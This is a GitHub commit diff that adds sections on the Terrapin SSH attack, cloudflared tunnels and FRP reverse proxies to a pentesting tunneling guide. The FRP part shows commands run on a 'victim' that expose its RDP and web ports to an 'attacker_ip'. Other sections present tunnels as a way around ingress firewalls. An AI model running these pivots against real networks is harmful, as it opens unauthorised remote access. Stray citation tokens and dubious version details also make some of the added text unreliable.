Skip to content

Commit c8927c5

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 54f0615 + 3b645cb commit c8927c5

File tree

2 files changed

+82
-1
lines changed

2 files changed

+82
-1
lines changed

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/generic-hacking/tunneling-and-port-forwarding.md

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -105,6 +105,10 @@ Set a new route on the client side
105105
route add -net 10.0.0.0/16 gw 1.1.1.1
106106
```
107107

108+
> [!NOTE]
109+
> **Security – Terrapin Attack (CVE-2023-48795)**
110+
> The 2023 Terrapin downgrade attack can let a man-in-the-middle tamper with the early SSH handshake and inject data into **any forwarded channel** ( `-L`, `-R`, `-D` ). Ensure both client and server are patched (**OpenSSH ≥ 9.6/LibreSSH 6.7**) or explicitly disable the vulnerable `[email protected]` and `*[email protected]` algorithms in `sshd_config`/`ssh_config` before relying on SSH tunnels. citeturn4search0
111+
108112
## SSHUTTLE
109113

110114
You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\
@@ -645,6 +649,83 @@ tunnels:
645649
addr: file:///tmp/httpbin/
646650
```
647651
652+
## Cloudflared (Cloudflare Tunnel)
653+
654+
Cloudflare’s `cloudflared` daemon can create outbound tunnels that expose **local TCP/UDP services** without requiring inbound firewall rules, using Cloudflare’s edge as the rendez-vous point. This is very handy when the egress firewall only allows HTTPS traffic but inbound connections are blocked.
655+
656+
### Quick tunnel one-liner
657+
658+
```bash
659+
# Expose a local web service listening on 8080
660+
cloudflared tunnel --url http://localhost:8080
661+
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080
662+
```
663+
664+
### SOCKS5 pivot
665+
666+
```bash
667+
# Turn the tunnel into a SOCKS5 proxy on port 1080
668+
cloudflared tunnel --url socks5://localhost:1080 --socks5
669+
# Now configure proxychains to use 127.0.0.1:1080
670+
```
671+
672+
### Persistent tunnels with DNS
673+
674+
```bash
675+
cloudflared tunnel create mytunnel
676+
cloudflared tunnel route dns mytunnel internal.example.com
677+
# config.yml
678+
Tunnel: <TUNNEL-UUID>
679+
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
680+
url: http://127.0.0.1:8000
681+
```
682+
683+
Start the connector:
684+
685+
```bash
686+
cloudflared tunnel run mytunnel
687+
```
688+
689+
Because all traffic leaves the host **outbound over 443**, Cloudflared tunnels are a simple way to bypass ingress ACLs or NAT boundaries. Be aware that the binary usually runs with elevated privileges – use containers or the `--user` flag when possible. citeturn1search0
690+
691+
## FRP (Fast Reverse Proxy)
692+
693+
[`frp`](https://github.com/fatedier/frp) is an actively-maintained Go reverse-proxy that supports **TCP, UDP, HTTP/S, SOCKS and P2P NAT-hole-punching**. Starting with **v0.53.0 (May 2024)** it can act as an **SSH Tunnel Gateway**, so a target host can spin up a reverse tunnel using only the stock OpenSSH client – no extra binary required.
694+
695+
### Classic reverse TCP tunnel
696+
697+
```bash
698+
# Attacker / server
699+
./frps -c frps.toml # listens on 0.0.0.0:7000
700+
701+
# Victim
702+
./frpc -c frpc.toml # will expose 127.0.0.1:3389 on frps:5000
703+
704+
# frpc.toml
705+
serverAddr = "attacker_ip"
706+
serverPort = 7000
707+
708+
[[proxies]]
709+
name = "rdp"
710+
type = "tcp"
711+
localIP = "127.0.0.1"
712+
localPort = 3389
713+
remotePort = 5000
714+
```
715+
716+
### Using the new SSH gateway (no frpc binary)
717+
718+
```bash
719+
# On frps (attacker)
720+
sshTunnelGateway.bindPort = 2200 # add to frps.toml
721+
./frps -c frps.toml
722+
723+
# On victim (OpenSSH client only)
724+
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
725+
```
726+
727+
The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting. citeturn2search1
728+
648729
## Other tools to check
649730

650731
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)

0 commit comments

Comments
 (0)